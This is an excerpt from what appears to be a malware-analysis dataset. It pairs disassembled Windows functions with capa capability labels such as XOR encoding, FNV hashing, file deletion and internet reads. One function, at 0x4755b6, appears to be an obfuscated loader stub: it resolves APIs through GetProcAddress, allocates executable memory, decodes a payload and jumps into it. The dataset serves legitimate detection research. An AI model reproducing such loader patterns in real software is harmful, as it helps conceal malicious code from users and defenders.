joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a2850
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dl, byte [esi]
xor dl, byte [edi]
and dl, 1
xor dl, byte [edi]
mov byte [edi], dl
mov cl, byte [esi]
xor cl, dl
and cl, 2
xor cl, dl
mov byte [edi], cl
movzx eax, byte [esi]
xor al, cl
and al, 4
xor al, cl
mov byte [edi], al
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
movq xmm0, qword [esi + 0xc]
movq qword [edi + 0xc], xmm0
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
movq xmm0, qword [esi + 0x18]
movq qword [edi + 0x18], xmm0
mov eax, dword [esi + 0x20]
mov dword [edi + 0x20], eax
mov eax, dword [esi + 0x24]
mov dword [edi + 0x24], eax
mov eax, dword [esi + 0x28]
mov dword [edi + 0x28], eax
mov eax, dword [esi + 0x2c]
mov dword [edi + 0x2c], eax
mov eax, dword [esi + 0x30]
mov dword [edi + 0x30], eax
mov eax, dword [esi + 0x34]
mov dword [edi + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [edi + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [edi + 0x3c], eax
movq xmm0, qword [esi + 0x40]
movq qword [edi + 0x40], xmm0
mov eax, dword [esi + 0x48]
mov dword [edi + 0x48], eax
movq xmm0, qword [esi + 0x4c]
movq qword [edi + 0x4c], xmm0
mov eax, dword [esi + 0x54]
mov dword [edi + 0x54], eax
mov eax, dword [esi + 0x58]
mov dword [edi + 0x58], eax
movq xmm0, qword [esi + 0x5c]
movq qword [edi + 0x5c], xmm0
mov eax, dword [esi + 0x64]
mov dword [edi + 0x64], eax
movq xmm0, qword [esi + 0x68]
movq qword [edi + 0x68], xmm0
mov eax, dword [esi + 0x70]
mov dword [edi + 0x70], eax
mov eax, dword [esi + 0x74]
mov dword [edi + 0x74], eax
movq xmm0, qword [esi + 0x78]
movq qword [edi + 0x78], xmm0
mov eax, dword [esi + 0x80]
mov dword [edi + 0x80], eax
movq xmm0, qword [esi + 0x84]
movq qword [edi + 0x84], xmm0
mov eax, dword [esi + 0x8c]
mov dword [edi + 0x8c], eax
movq xmm0, qword [esi + 0x90]
movq qword [edi + 0x90], xmm0
mov eax, dword [esi + 0x98]
mov dword [edi + 0x98], eax
mov eax, dword [esi + 0x9c]
mov dword [edi + 0x9c], eax
mov eax, dword [esi + 0xa0]
mov dword [edi + 0xa0], eax
mov eax, dword [esi + 0xa4]
mov dword [edi + 0xa4], eax
movzx eax, byte [esi + 0xa8]
mov byte [edi + 0xa8], al
movq xmm0, qword [esi + 0xac]
movq qword [edi + 0xac], xmm0
mov eax, dword [esi + 0xb4]
mov dword [edi + 0xb4], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x100ac780
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100dc040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
mov ebx, edx
mov esi, ebx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0xc], esi
lea eax, [ecx - 1]
mov dword [ebp - 0x1c], eax
sar eax, 1
mov dword [ebp - 0x14], eax
cmp ebx, eax
jge 0x100ac7f3
lea esi, [edx + edx]
lea ecx, [edi + 0x10]
lea ecx, [ecx + esi*8]
lea eax, [ecx - 8]
push eax
push ecx
lea ecx, [ebp + 0x10]
call fcn.100a65b0
movzx edx, al
xor edx, 1
inc edx
add edx, esi
mov eax, dword [edi + edx*8]
mov ecx, dword [edi + edx*8 + 4]
mov dword [edi + ebx*8], eax
mov eax, dword [ebp - 0x14]
mov dword [edi + ebx*8 + 4], ecx
mov ebx, edx
cmp edx, eax
jl 0x100ac7b7
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
mov ebx, edx
cmp edx, eax
jne 0x100ac810
test cl, 1
jne 0x100ac810
mov eax, dword [edi + ecx*8 - 8]
mov ecx, dword [edi + ecx*8 - 4]
mov ebx, dword [ebp - 0x1c]
mov dword [edi + edx*8], eax
mov dword [edi + edx*8 + 4], ecx
mov al, byte [ebp + 0x10]
mov byte [ebp - 8], al
cmp esi, ebx
jge 0x100ac84d
nop word [eax + eax]
push dword [ebp - 0x10]
lea esi, [ebx - 1]
sar esi, 1
lea ecx, [ebp - 8]
lea eax, [edi + esi*8]
push eax
call fcn.100a65b0
test al, al
je 0x100ac84d
mov eax, dword [edi + esi*8]
mov ecx, dword [edi + esi*8 + 4]
mov dword [edi + ebx*8], eax
mov dword [edi + ebx*8 + 4], ecx
mov ebx, esi
cmp dword [ebp - 0xc], esi
jl 0x100ac820
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [edi + ebx*8 + 4], ecx
mov ecx, dword [ebp - 4]
mov dword [edi + ebx*8], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100bcb6c
mov esp, ebp
pop ebp
ret
Function at 0x100b4a30
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 4], esi
mov edx, dword [ebp + 0xc]
movzx eax, dl
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
mov eax, edx
sar eax, 8
movzx eax, al
xor ecx, eax
mov eax, edx
imul ecx, ecx, 0x1000193
sar eax, 0x10
movzx eax, al
sar edx, 0x18
xor ecx, eax
movzx eax, dl
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, 0x101664a0
push eax
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 8]
push eax
call fcn.100ba260
mov edx, dword [0x101664a4]
xorps xmm0, xmm0
mov eax, dword [eax + 4]
test eax, eax
cmovne edx, eax
cmp edx, dword [0x101664a4]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
je 0x100b4acf
lea ecx, [edx + 0xc]
push 1
push ecx
mov ecx, esi
call fcn.1002cee0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
push 0
push 0x100cb338
mov ecx, esi
call fcn.1002cee0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100b97b0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
sub esp, 8
movzx eax, byte [edx]
push ebx
push esi
xor eax, 0x811c9dc5
push edi
mov edi, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
lea eax, [ebp - 8]
imul ebx, ecx, 0x1000193
mov ecx, edi
push ebx
push edx
push eax
call fcn.100ba260
mov esi, dword [eax + 4]
test esi, esi
je 0x100b9865
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0xc]
and ecx, ebx
lea ecx, [eax + ecx*8]
mov eax, dword [ecx]
cmp dword [ecx + 4], esi
jne 0x100b982c
cmp eax, esi
jne 0x100b9824
mov eax, dword [edi + 4]
mov dword [ecx], eax
mov dword [ecx + 4], eax
jmp 0x100b9834
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
jmp 0x100b9834
cmp eax, esi
jne 0x100b9834
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
dec dword [edi + 8]
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
lea ecx, [esi + 0x50]
call fcn.1002c5f0
push 0x5c
push esi
call fcn.100bd09a
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100b9950
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, ecx
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
cmp ebx, eax
je 0x100b9abf
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
movzx eax, byte [ebx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 9]
push esi
push edi
mov edi, dword [edx + 0xc]
mov esi, ebx
xor ecx, eax
mov dword [ebp - 0x1c], edi
movzx eax, byte [ebx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 4], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
nop word [eax + eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0x50]
call fcn.1002c5f0
push 0x5c
push edi
call fcn.100bd09a
mov edx, dword [ebp - 0x14]
add esp, 8
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100b9a1d
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x100b99d0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x100b9ab5
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [edi], esi
mov dword [ecx], esi
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x100b9a31
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov dword [edi], eax
jmp 0x100b9a34
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov dword [edi + 4], ecx
cmp esi, eax
je 0x100b9ab5
nop
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [ebp - 0x1c]
and eax, dword [edx + 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0x50]
call fcn.1002c5f0
push 0x5c
push edi
call fcn.100bd09a
mov edx, dword [ebp - 0x14]
add esp, 8
mov eax, dword [ebp + 0xc]
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100b9ac6
cmp esi, eax
jne 0x100b9a85
mov ecx, dword [ebp - 4]
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
cmp esi, eax
jne 0x100b9a40
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100ba2d0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c7a95
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x100dc040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], edi
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, ebx
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push edx
push eax
call fcn.100ba260
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100ba35a
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x100ba4a0
cmp dword [ebx + 8], 0xfffffff
jne 0x100ba36e
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ebx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.100bcb88
mov ecx, dword [ebp - 0x10]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov ecx, dword [ecx]
mov dword [esi + 8], ecx
mov byte [esi + 0xc], 0
mov dword [ebp - 4], 1
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
inc eax
movss xmm3, dword [ebx]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100d1430]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100d1430]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x100ba453
divss xmm2, xmm3
sub esp, 8
movss dword [ebp - 0x10], xmm2
fld dword [ebp - 0x10]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
add esp, 8
fstp dword [ebp - 0x10]
movss xmm0, dword [ebp - 0x10]
call fcn.100be090
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [ebx + 0x1c]
cmp eax, ecx
jae 0x100ba435
cmp eax, 0x200
jae 0x100ba433
shl eax, 3
cmp eax, ecx
jae 0x100ba435
mov eax, ecx
push eax
mov ecx, ebx
call fcn.10081480
push dword [ebp - 0x14]
lea eax, [esi + 8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.100ba260
mov edx, dword [eax]
jmp 0x100ba456
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
inc dword [ebx + 8]
mov edi, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
and eax, dword [ebp - 0x14]
mov ebx, dword [ecx + eax*8]
cmp ebx, dword [edi]
jne 0x100ba481
mov dword [ecx + eax*8], esi
jmp 0x100ba493
cmp ebx, edx
jne 0x100ba48a
mov dword [ecx + eax*8], esi
jmp 0x100ba497
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x100ba497
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100baac0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100c7a95
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x100dc040]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x20], edi
movzx eax, byte [edx]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, ebx
push eax
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push edx
push eax
call fcn.100ba260
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x100bab4a
mov dword [edi], eax
mov byte [edi + 4], 0
jmp 0x100bac92
cmp dword [ebx + 8], 0xfffffff
jne 0x100bab5e
push str.unordered_map_set_too_long
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const__]
lea eax, [ebx + 4]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
push 0x10
mov dword [ebp - 0x24], 0
call fcn.100bcb88
mov edx, dword [ebp - 0x10]
mov esi, eax
add esp, 4
mov dword [ebp - 0x24], esi
mov ecx, dword [edx]
mov edx, dword [edx + 4]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
mov dword [ebp - 4], 1
mov eax, dword [ebx + 8]
mov ecx, dword [ebx + 0x1c]
inc eax
movss xmm3, dword [ebx]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
shr eax, 0x1f
addsd xmm0, qword [eax*8 + 0x100d1430]
mov eax, ecx
shr eax, 0x1f
cvtpd2ps xmm2, xmm0
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
movaps xmm1, xmm2
addsd xmm0, qword [eax*8 + 0x100d1430]
cvtpd2ps xmm0, xmm0
divss xmm1, xmm0
comiss xmm1, xmm3
jbe 0x100bac45
divss xmm2, xmm3
sub esp, 8
movss dword [ebp - 0x10], xmm2
fld dword [ebp - 0x10]
fstp qword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_ceil
add esp, 8
fstp dword [ebp - 0x10]
movss xmm0, dword [ebp - 0x10]
call fcn.100be090
mov ecx, 8
cmp eax, ecx
cmova ecx, eax
mov eax, dword [ebx + 0x1c]
cmp eax, ecx
jae 0x100bac27
cmp eax, 0x200
jae 0x100bac25
shl eax, 3
cmp eax, ecx
jae 0x100bac27
mov eax, ecx
push eax
mov ecx, ebx
call fcn.10081480
push dword [ebp - 0x14]
lea eax, [esi + 8]
mov ecx, ebx
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.100ba260
mov edx, dword [eax]
jmp 0x100bac48
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 4]
inc dword [ebx + 8]
mov edi, dword [ebp - 0x28]
mov dword [esi + 4], eax
mov dword [esi], edx
mov dword [eax], esi
mov dword [edx + 4], esi
mov ecx, dword [ebx + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebx + 0x18]
and eax, dword [ebp - 0x14]
mov ebx, dword [ecx + eax*8]
cmp ebx, dword [edi]
jne 0x100bac73
mov dword [ecx + eax*8], esi
jmp 0x100bac85
cmp ebx, edx
jne 0x100bac7c
mov dword [ecx + eax*8], esi
jmp 0x100bac89
mov edx, dword [ebp - 0x10]
cmp dword [ecx + eax*8 + 4], edx
jne 0x100bac89
mov dword [ecx + eax*8 + 4], esi
mov edi, dword [ebp - 0x20]
mov dword [edi], esi
mov byte [edi + 4], 1
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x47046f
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push 0x2b4
mov eax, 0x4a12cd
call fcn.0049fa2f
mov ebx, ecx
push edx
mov edx, ebx
lea ecx, [ebp - 0x40]
call fcn.004707a0
pop ecx
xor edi, edi
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 4], edi
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x28], edi
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
cmp esi, 0xffffffff
je 0x47055f
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x58]
call fcn.004755b6
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 2
push eax
mov edx, ebx
lea ecx, [ebp - 0x70]
call fcn.004707a0
mov edi, eax
lea eax, [ebp - 0x28]
pop ecx
cmp eax, edi
je 0x470507
mov ecx, eax
call fcn.0046d98d
push edi
lea ecx, [ebp - 0x28]
call fcn.004755b6
lea ecx, [ebp - 0x70]
call fcn.0046d98d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.0046d98d
test byte [ebp - 0x2c0], 4
jne 0x470542
lea ecx, [ebp - 0x28]
call fcn.0047078b
test al, al
jne 0x470542
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x4704cc
push esi
call dword [sym.imp.kernel32.dll_FindClose]
lea ecx, [ebp - 0x28]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
call fcn.0046d98d
call fcn.0049f9de
ret
Function at 0x474827
Capabilities:
Get common file path

Disassembly:
push 0x278
mov eax, 0x4a1b42
call fcn.0049fa2f
mov ebx, ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x284], ebx
mov eax, dword fs:[0x2c]
xor esi, esi
mov dword [ebp - 0x284], ebx
mov edi, 0x4cb420
mov ecx, dword [eax]
mov eax, dword [0x4cb41c]
cmp eax, dword [ecx + 4]
jle 0x4748a4
push 0x4cb41c
call fcn.004755b6
cmp dword [0x4cb41c], 0xffffffff
pop ecx
jne 0x4748a4
push 0x4b9024
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.004755b6
push 0x4a6680
call fcn.004755b6
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x4cb41c
call fcn.004755b6
pop ecx
cmp dword [0x4cb430], 0
jne 0x4749c5
push 0x20a
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
call fcn.004755b6
test al, al
je 0x474998
push str.LogSession
lea ecx, [ebp - 0x24c]
call fcn.004755b6
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 1
call fcn.00477e85
mov ebx, eax
lea ecx, [ebp - 0x264]
push 0x4adacc
mov eax, dword [ebx]
mov edi, dword [eax + 0x40]
call fcn.004755b6
mov esi, eax
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.004755b6
push esi
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call dword [0x4a75c0]
mov ecx, ebx
call edi
lea ecx, [ebp - 0x234]
call fcn.0046a23d
lea ecx, [ebp - 0x264]
call fcn.0046a23d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.0046a23d
lea ecx, [ebp - 0x27c]
call fcn.00474779
mov esi, eax
mov edi, 0x4cb420
cmp esi, edi
je 0x474985
mov ecx, edi
call fcn.0046d98d
push esi
mov ecx, edi
call fcn.004755b6
lea ecx, [ebp - 0x27c]
call fcn.0046d98d
mov ebx, dword [ebp - 0x280]
jmp 0x4749c5
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x21c]
mov eax, 0x4b9024
cmovne ecx, eax
push ecx
mov ecx, edi
call fcn.004755b6
push edi
mov ecx, ebx
call fcn.004723ba
mov eax, ebx
call fcn.0049f9de
ret
Function at 0x4755b6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x4755c5
pop dword [ebp - 0x24]
mov eax, 0x4755c5
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xf0fc291d
add dword [ebp - 0x34], 0x5d561c2e
mov dword [ebp - 0x30], 0xca433ffe
add dword [ebp - 0x30], 0x67f00c47
mov dword [ebp - 0x2c], 0x8c2e6b92
add dword [ebp - 0x2c], 0xc01dd89c
mov dword [ebp - 0x28], 0x65e89e6e
sub dword [ebp - 0x28], 0x65e89e6e
lea eax, [ebp - 0x34]
push eax
mov eax, 0x229d2a2f
add eax, 0xddad467d
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x2225f784
add dword [ebp - 0x34], 0x524c71d2
mov dword [ebp - 0x30], 0x6cac234b
sub dword [ebp - 0x30], 0x2b3fc1d6
mov dword [ebp - 0x2c], 0xd9feacb0
add dword [ebp - 0x2c], 0x8970bfbc
mov dword [ebp - 0x28], 0xc7e6ebcb
add dword [ebp - 0x28], 0x38191435
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x6136a
push 0
call eax
mov ecx, 0x75d55ed5
add ecx, 0x8a2aee6a
xor edi, edi
add edi, eax
mov ebx, 0x6e5b73f1
sub ebx, 0x6e0e3bf1
add ebx, dword [ebp - 0x24]
mov esi, 0xc46950f8
mov dword [ebp - 0x18], 0x79dea949
mov edx, dword [ebx]
add dword [ebp - 4], edi
sub edx, esi
xor dword [ebp - 0xc], 0xd02f1060
mov dword [edi], edx
mov dword [ebp - 8], 0x8252701a
add edi, 0x81ff52d
sub edi, 0x81ff529
add ebx, 0x6ea4364e
add ebx, 0x915bc9b6
loop 0x4756d9
add eax, 0x7df56ecc
sub eax, 0x7df446fd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5cfe1fd3
add ecx, 0xa341e02d
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x476140
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x20
mov eax, 0x4a1e1c
call fcn.0049fa65
mov dword [ebp - 0x20], ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
mov eax, dword [ebp - 0x20]
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x476244
cmp dword [ebp - 0x14], 0
jbe 0x476242
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.004755b6
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, eax
inc ecx
mov dword [ebp - 0x18], ebx
push ecx
push esi
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push ebx
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x4761c8
mov dword [ebp - 0x14], esi
jmp 0x4761da
cmp dword [ebp - 0x14], 0
jbe 0x4761da
push dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push ebx
call fcn.0046a372
or dword [ebp - 4], 0xffffffff
jmp 0x47622e
push ebx
call fcn.0048844b
cmp dword [ebp - 0x14], 0
pop ecx
mov dword [ebp - 0x18], esi
ja 0x476157
test edi, edi
setne al
call fcn.0049f9ca
ret 4